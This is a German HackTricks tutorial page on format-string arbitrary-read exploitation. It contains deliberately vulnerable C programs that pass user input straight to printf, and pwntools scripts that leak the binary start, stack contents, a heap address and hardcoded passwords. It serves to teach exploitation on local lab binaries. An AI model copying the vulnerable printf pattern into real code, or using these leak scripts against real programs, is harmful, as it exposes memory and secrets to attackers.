Format Strings - Arbitrary Read Example
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Read Binary Start
Code
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
Kompiliere es mit:
clang -o fs-read fs-read.c -Wno-format-security -no-pie
Exploit
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
- Der Offset beträgt 11, da das Setzen mehrerer As und das Brute-Forcing mit einer Schleife von 0 bis 50 ergeben hat, dass bei Offset 11 und mit 5 zusätzlichen Zeichen (Pipes
|
in unserem Fall) eine vollständige Adresse kontrolliert werden kann. - Ich habe
%11$p
mit Padding verwendet, bis die Adresse vollständig 0x4141414141414141 war. - Die Format-String-Nutzlast ist VOR der Adresse, da printf beim Lesen an einem Null-Byte stoppt, sodass, wenn wir die Adresse und dann den Format-String senden, printf den Format-String niemals erreichen wird, da ein Null-Byte vorher gefunden wird.
- Die ausgewählte Adresse ist 0x00400000, da dies der Startpunkt des Binaries ist (kein PIE).
Passwörter lesen
#include <stdio.h>
#include <string.h>
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
}
Kompiliere es mit:
clang -o fs-read fs-read.c -Wno-format-security
Vom Stack lesen
Das stack_password
wird im Stack gespeichert, da es sich um eine lokale Variable handelt. Daher reicht es aus, printf zu missbrauchen, um den Inhalt des Stacks anzuzeigen. Dies ist ein Exploit, um die ersten 100 Positionen zu BF, um die Passwörter aus dem Stack zu leaken:
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
In dem Bild ist zu sehen, dass wir das Passwort aus dem Stack an der 10.
Position auslesen können:
Daten lesen
Wenn wir dasselbe Exploit mit %p
anstelle von %s
ausführen, ist es möglich, eine Heap-Adresse aus dem Stack bei %25$p
auszulesen. Darüber hinaus können wir durch den Vergleich der ausgelesenen Adresse (0xaaaab7030894
) mit der Position des Passworts im Speicher dieses Prozesses die Adressdifferenz ermitteln:
Jetzt ist es an der Zeit herauszufinden, wie man 1 Adresse im Stack kontrolliert, um darauf von der zweiten Format-String-Schwachstelle zuzugreifen:
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
Und es ist möglich zu sehen, dass wir in dem try 14 mit dem verwendeten Passing eine Adresse kontrollieren können:
Exploit
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.